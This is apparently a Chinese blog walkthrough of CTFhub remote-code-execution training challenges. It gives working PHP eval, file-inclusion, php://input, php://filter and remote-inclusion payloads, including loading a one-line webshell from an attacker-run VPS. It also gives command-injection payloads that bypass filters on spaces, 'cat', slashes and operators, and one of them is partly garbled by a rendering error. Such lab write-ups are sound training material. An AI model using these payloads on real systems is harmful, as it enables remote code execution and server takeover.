CTFhub技能数_RCE_WP

CTFhub技能树

1.eval执行

1.eval执行

题目
请添加图片描述

尝试在url上传参,此处system()函数的功能:执行系统命令并输出执行结果,pwd查看当前路径,发现system()函数没有被过滤,能用

ls / ->查看根目录下的所有文件
发现flag_5097文件
请添加图片描述

payload: ?cmd=system(“cat /flag_5097”);
在这里插入图片描述

得flag

2.文件包含

2.文件包含

题目

在这里插入图片描述

strpos()
定义和用法
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
注释:strpos() 函数对大小写敏感。
注释:该函数是二进制安全的。

题目代码详解

<?php                       
error_reporting(0);        //取消报错
if (isset($_GET['file'])) {    //判断是否通过get的形式接收函数'file'
    if (!strpos($_GET["file"], "flag")) {   
        include $_GET["file"];    //判断,接收的内容不含flag,就include包含
    } else {  
        echo "Hacker!!!";  
    }  
} else {    highlight_file(__FILE__);  
}  
?>

题目中还给了一个shell.txt,内容是一句话木马

可以理解为:
在index.php中include了一个文件,不管文件是什么,都能直接出现在index.php中。

所以,payload:?file=shell.txt,蚁剑连接,得flag

3.[php://input] [[文件包含漏洞]]

题目
在这里插入图片描述

substr()
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

[[做题心得]]没回显的时候可以抓包看看,有的时候只是服务端看不到回显

以get的方式传参,payload:?file=php://input
抓包,以post的方式传参
payload:
<?php system("ls /"); ?>

在这里插入图片描述

payload:
<?php system("cat /flag_23808");?>
在这里插入图片描述

得flag

4.读取源代码

题目
在这里插入图片描述

考点:php://filter
在这里插入图片描述

base64解码得flag:ctfhub{806bb8e8b3b40eb63f1b6cf9}

5.远程包含

题目
在这里插入图片描述

我的解法:
由于题目只对file的参数中是否含有flag做了限制,所以我完全可以从POST的方式来获取flag
payload:
以GET的方式:?php://input
以POST的方式:<?php phpinfo(); ?>
测试一下,发现有回显,方案可行
以POST的方式:<?php system("ls /"); ?><?php system("cat /flag"); ?>
得flag

官方解法
远程文件包含漏洞(RFI)
题中给了一个phpinfo,在phpinfo中查看PHP的配置选项
allow_url_include为ON的话,则include/require函数可以加载远程文件.

在服务器中 mkdir一个文件夹 然后vi 一个yjh.txt
编辑一个一句话木马
随后用python启动一个http服务
Python3 -m http.server 8000
payload:
http://challenge-d46d08980443a4ef.sandbox.ctfhub.com:10080/?file=http://你的vps地址:8000/yjh.txt
vps可以理解为:服务器的虚拟ip
包含一台公网服务器里的webshell来getshell【无自己服务器,放弃】

6.命令注入

题目
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
在这里插入图片描述

源码:

<?php  
  
$res = FALSE;  
  
if (isset($_GET['ip']) && $_GET['ip']) {    $cmd = "ping -c 4 {$_GET['ip']}";    exec($cmd, $res);  
}  
  
?>  
  
<!DOCTYPE html>  
<html>  
<head>  
    <title>CTFHub 命令注入-无过滤</title>  
</head>  
<body>  
  
<h1>CTFHub 命令注入-无过滤</h1>  
  
<form action="#" method="GET">  
    <label for="ip">IP : </label><br>  
    <input type="text" id="ip" name="ip">  
    <input type="submit" value="Ping">  
</form>  
  
<hr>  
  
<pre>  
<?php  
if ($res) {    print_r($res);  
}  
?>  
</pre>  
  
<?php  
show_source(__FILE__);  
?>  
  
</body>  
</html>

解题

考点:

  • php
  • exec()函数
  • 命令管理符

解法
payload:127.0.0.1|ls
在这里插入图片描述

payload:127.0.0.1 cat 19632249538218.php
注意!没有/ 因为/ 代表从根目录上查找
发现没有回显,两种思路:

  • 直接查看源码看是否有flag被注释掉
  • 将文件内容以base64的方式编码出来

base64的payload:127.0.0.1&cat 19632249538218| base64
得回显,再base64解密就行了

7.过滤/cat/

题目
在这里插入图片描述

payload:127.0.0.1&ls
在这里插入图片描述

payload:127.0.0.1&a=c;b=at; $a$b flag_255021640625869.php
如上题,看源码或base64编码,得flag

8.过滤空格

题目:
这次过滤了空格,你能绕过吗
在这里插入图片描述

解题
payload:127.0.0.1|ls
在这里插入图片描述

尝试KaTeX parse error: Expected 'EOF', got '&' at position 31: …load:`127.0.0.1&̲catIFS$9flag_63122306466.php`
在这里插入图片描述

知识点:
$IFS空字符绕过**

cat$IFS/etc/passwd
cat$IFS$1/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd

I F S 是 l i n u x 下的分隔符,加上 或者后面加 IFS是linux下的分隔符,加上{}或者后面加 IFSlinux下的分隔符,加上或者后面加表示截断,防止与后面的变量名粘连导致命令无法执行
$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离

9.过滤目录分隔符

题目
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
在这里插入图片描述

payload:127.0.0.1|ls
在这里插入图片描述

毫无疑问,flag是再flag_is_here文件夹里
思路上来说应该是cat文件,必须要使用目录分隔符/,但是题目给过滤。需要另外寻找办法

linux中:%0a%0d;&|&&||

windows中:%0a&|

其中分号;的作用就是在 shell 中,担任”连续指令”功能

&&的方式:command1 && command2 如果command1执行成功,则执行command2

那么我们就可以先cd到文件夹的目录下,然后再ls
payload:127.0.0.1;cd flag_is_here&&ls
在这里插入图片描述

然后直接cat到flag文件中
payload:127.0.0.1;cd flag_is_here&&cat flag_83681226428864.php
得flag

10.过滤运算符

题目:
过滤了几个运算符, 要怎么绕过呢
在这里插入图片描述

解法
过滤掉了大量运算符,;没过滤
payload:127.0.0.1;ls
在这里插入图片描述

payload:127.0.0.1;cat flag_2717186622413.php
得flag
在这里插入图片描述

11.综合过滤练习

题目:
同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?
在这里插入图片描述

空格使用<或者${IFS}代替
;使用%0a代替
flag 使用通配符代替f***

payload:127.0.0.1%0als
在这里插入图片描述

payload:127.0.0.1%0acd${IFS}f***_is_here%0als
在这里插入图片描述

payload:127.0.0.1%0acd${IFS}f***_is_here%0aca''t${IFS}f***_1625815430955.php
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值